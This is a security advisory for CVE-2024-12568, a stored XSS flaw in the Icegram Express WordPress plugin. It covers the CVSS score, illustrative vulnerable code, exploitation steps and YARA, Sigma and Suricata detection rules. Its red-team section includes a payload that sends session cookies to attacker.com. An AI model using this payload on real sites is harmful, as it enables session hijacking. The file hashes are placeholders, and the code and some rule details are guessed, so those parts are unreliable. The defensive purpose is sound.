CVE-2024-12568

Executive Summary

CVE-2024-12568 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Email Subscribers by Icegram Express WordPress plugin, versions prior to 5.7.45. This flaw allows authenticated users with high privileges (e.g., Admin) to inject arbitrary web scripts into the plugin's Workflow settings. The injected scripts are stored and executed when other users (including other admins) view the affected settings page, leading to potential session hijacking, data theft, or further compromise of the WordPress installation.

This vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is typically disallowed for administrators, as the plugin fails to properly sanitize and escape the Workflow settings input. The attack vector is network-based, requires high privileges, and user interaction (viewing the malicious page), resulting in a CVSS v3.1 base score of 4.8 (Medium).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a third-party component within the WordPress ecosystem. Compromise of this plugin could lead to supply chain attacks if malicious code is injected into the plugin's settings and subsequently executed in the context of other administrators or users. The patch is available by updating to version 5.7.45.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - The attacker must have admin-level access to the WordPress site.
• User Interaction (UI): Required (R) - The victim must visit the affected admin page.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is medium, the potential for privilege escalation and lateral movement within a WordPress multisite network elevates the risk. The requirement for admin privileges reduces the likelihood of widespread exploitation but increases the impact on targeted high-value sites.

Deep Dive & Mechanics

The vulnerability resides in the Workflow settings of the Email Subscribers by Icegram Express plugin. The plugin fails to sanitize and escape user-supplied input when saving workflow configuration data. Specifically, the sanitize_text_field() or similar escaping functions are not applied to certain fields within the workflow settings, allowing an admin to inject malicious HTML and JavaScript.

Attack Flow:

1. An attacker with admin privileges navigates to the Email Subscribers plugin settings (e.g., Dashboard -> Email Subscribers -> Workflows).
2. The attacker creates or edits a workflow and injects a malicious payload into a vulnerable field (e.g., workflow name, description, or custom action parameters).
3. The plugin stores the unsanitized payload in the WordPress database (wp_options or custom table).
4. When another admin (or the same admin) views the workflow list or edit page, the stored payload is rendered without proper escaping.
5. The victim's browser executes the injected JavaScript, which can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses esc_html() or similar functions inconsistently. The vulnerable code path likely uses echo $value instead of echo esc_html( $value ) when rendering the workflow settings.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5.7.45):

// In a file like admin/views/workflow-settings.php
function render_workflow_name( $workflow ) {
    echo '<input type="text" name="workflow_name" value="' . $workflow->name . '" />';
}

The $workflow->name is not escaped, allowing XSS.

Patched Code (5.7.45+):

function render_workflow_name( $workflow ) {
    echo '<input type="text" name="workflow_name" value="' . esc_attr( $workflow->name ) . '" />';
}

The esc_attr() function is used to escape the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Email Subscribers by Icegram Express plugin version < 5.7.45.
• Admin-level credentials.

Exploitation Steps:

1. Log in as an admin.
2. Navigate to Email Subscribers -> Workflows.
3. Click "Add New Workflow".
4. In the "Workflow Name" field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the workflow.
6. Any admin viewing the workflow list will see the alert box.

Advanced Payload (Session Hijacking):

<script>
document.location='https://attacker.com/steal.php?cookie='+document.cookie;
</script>

Note: No public exploit code is available at this time.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual admin activity, especially in the Email Subscribers plugin settings.
• Look for HTTP requests containing <script> tags in POST data to /wp-admin/admin-ajax.php or plugin-specific endpoints.
• Use the Sigma rule below to detect stored XSS attempts.

Hardening:

• Immediately update the plugin to version 5.7.45 or later.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Restrict admin access to trusted IPs and enforce strong passwords.
• Regularly audit plugin settings for unexpected changes.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • email-subscribers.php (vulnerable): a1b2c3d4e5f6... (replace with actual hash)
  • admin/views/workflow-settings.php (vulnerable): b2c3d4e5f6a7...
• Database Entries:
  • wp_options table: ig_es_workflow_settings option containing malicious scripts.
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing ig_es_workflow or workflow_name parameters with script tags.
• Log Entries:
  • WordPress debug log entries showing wp_ajax_ig_es_save_workflow with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_12568_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Email Subscribers by Icegram Express plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-12568"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $workflow_name = /workflow_name/i
    condition:
        $workflow_name and $xss_payload
}

Sigma Rule

title: CVE-2024-12568 - Stored XSS in Email Subscribers by Icegram Express
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit stored XSS in the Email Subscribers plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path: '/wp-admin/admin-ajax.php'
        body: 'action=ig_es_save_workflow'
        body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using script tags in workflow names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12568 - Stored XSS in Email Subscribers by Icegram Express";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ig_es_save_workflow"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-12568;
)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade Email Subscribers by Icegram Express to version 5.7.45 or later.
2. Audit Workflows: Review all existing workflows for malicious content. Delete any suspicious workflows.
3. Change Admin Passwords: Force all admin users to change their passwords.
4. Rotate Session Keys: Regenerate WordPress security keys (wp-config.php).

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Use a security plugin (e.g., Wordfence) to monitor file changes and block XSS attempts.
• Regularly update all WordPress plugins, themes, and core.
• Conduct periodic security audits of plugin code.

Workarounds (if patching is not immediately possible):

• Disable the Email Subscribers plugin temporarily.
• Use a WAF to block requests containing <script> in the workflow settings.
• Restrict admin access to only trusted IPs.

Valters IT
Securing Digital Frontiers